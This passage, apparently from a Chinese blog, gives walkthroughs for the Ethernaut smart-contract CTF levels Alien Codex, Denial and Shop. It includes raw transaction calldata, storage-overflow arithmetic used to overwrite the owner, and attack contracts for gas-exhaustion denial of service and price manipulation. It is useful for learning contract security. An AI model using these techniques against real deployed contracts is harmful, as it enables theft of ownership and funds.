https://solidity.readthedocs.io/en/v0.4.25/miscellaneous.html#layout-of-state-variables-in-storage
可以知道实际上在 slot 1 位置上存储的是 codex 的 length,而 codex 的实际内容存储在 keccak256(bytes32(1)) 开始的位置。
Keccak-256 紧密打包的,意思是说参数不会补位,多个参数也会直接连接在一起。所以这里要用 bytes32(1) 而不是 1 .
这样我们就知道了 codex 实际的存储的 slot,因为总共有 2**256 个 slot,我们想要修改 slot 0 ,假设 codex 实际所在 slot x , 那么当我们修改 codex[y](y=2**256-x) 时就能因为溢出修改到 slot 0 ,从而修改到 owner。
但是我们要修改 codex[y] , 那就要满足 y<codex.length , 而这个时候我们 codex.length 的值很小,但是我们通过 retract 是 length 下溢然后就可以编辑 codex[y] 了。
所以接下来的操作很简单了。
-
1.
func="0x1d3d4c0b"; // 函数 id data1="0000000000000000000000000000000000000000000000000000000000000020"// 偏移 data2="1000000000000000000000000000000000000000000000000000000000000001"// 长度,构造大于 2**200 data=func+data1+data2 web3.eth.sendTransaction({from:player,to:instance,data: data,gas: 1111111},function(x,y){console.error(y)});从而使
contact=true -
-
计算
codex位置为slot 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6,function go3() view returns(bytes32){ return keccak256((bytes32(1))); }
-
-
- 计算 y,
y=2**256-0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6
- 计算 y,
-
- 调用
revise(y,player_addr),这里player_addr记得填充到 32 字节,比如我的地址是0x91c72f7200015195408378e9cb74e6f566dddf44,所以填充到0x00000000000000000000000091c72f7200015195408378e9cb74e6f566dddf44
- 调用
然后就 ok 了。
Denial
题目代码如下:
pragma solidity ^0.4.24;
contract Denial {
address public partner; // withdrawal partner - pay the gas, split the withdraw
address public constant owner = 0xA9E;
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance/100;
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call.value(amountToSend)();
owner.transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = now;
withdrawPartnerBalances[partner] += amountToSend;
}
// allow deposit of funds
function() payable {}
// convenience function
function contractBalance() view returns (uint) {
return address(this).balance;
}
}
题目要求也比较简单,就是在调用 withdraw 时,禁止 owner 分走账户的 1% 的余额。
刚开始傻了,想的那很简单啊,利用 withdraw 函数的 reentrancy 问题,100 次就把账户转空了。然后才想起来是余额的 1%。最近脑子不好使。
那这样的话,可以考虑使 transfer 失败,也就是想办法把 gas 耗光。比如在 partner 合约中设置大量的存储或者一个循环运算。后来想起来一个最简单办法, assert , 这个函数触发异常之后会消耗所有可用的 gas,那么剩下的消息调用(比如 owner.transfer(amountToSend) ) 就没有 gas 可用了,就会失败了。
所以 attack 代码很简单:
contract attack{
function() payable{
assert(0==1);
}
}
shop
题目代码如下:
pragma solidity 0.4.24;
contract Shop {
uint public price = 100;
bool public isSold;
function buy() public {
Buyer _buyer = Buyer(msg.sender);
if (_buyer.price.gas(3000)() >= price && !isSold) {
isSold = true;
price = _buyer.price.gas(3000)();
}
}
}
要求是修改 price 低于 100,简单来说可就是 _buyer.price.gas(3000)() 两次返回不一样的值,比如第一次返回 100,第二次返回 0。似乎很简单,但是这里的难点在于 gas 限定了只有 3000,我们通常会想要使用一个状态变量,比如 a=0,第一次访问返回 100 之后修改为 1,第二次判断一下如果不为 0 就返回 0。但是一旦涉及到状态变量也就是 storage 的修改,那就不是简单的 3000gas 能够解决的了。这里发现题目有一个变量 isSold , 我们可以根据这个的值判断该返回的大小,最后攻击合约如下:
pragma solidity 0.4.24;
contract Buyer {
function price() view returns (uint) {
return Shop(msg.sender).isSold()==true?0:100;
}
function go(address param){
Shop a = Shop(param);
a.buy();
}
}
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- oscnews 1.3.0 更新,更新趋势榜功能
- VLOOK V9.23 更新!表格自动排版大更新
- oscnews 1.0.0 更新,软件更新资讯 Chrome 插件
- .NET Framework 4.8 的 Microsoft 更新目录更新
- 网游丨一月一更新,一更更一月,如何实现热更新?
- CCleaner v5.74.8184 发布:重要更新版本、可自动更新
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Designing for Emotion
Aarron Walter / Happy Cog / 2011-10-18 / USD 18.00
Make your users fall in love with your site via the precepts packed into this brief, charming book by MailChimp user experience design lead Aarron Walter. From classic psychology to case studies, high......一起来看看 《Designing for Emotion》 这本书的介绍吧!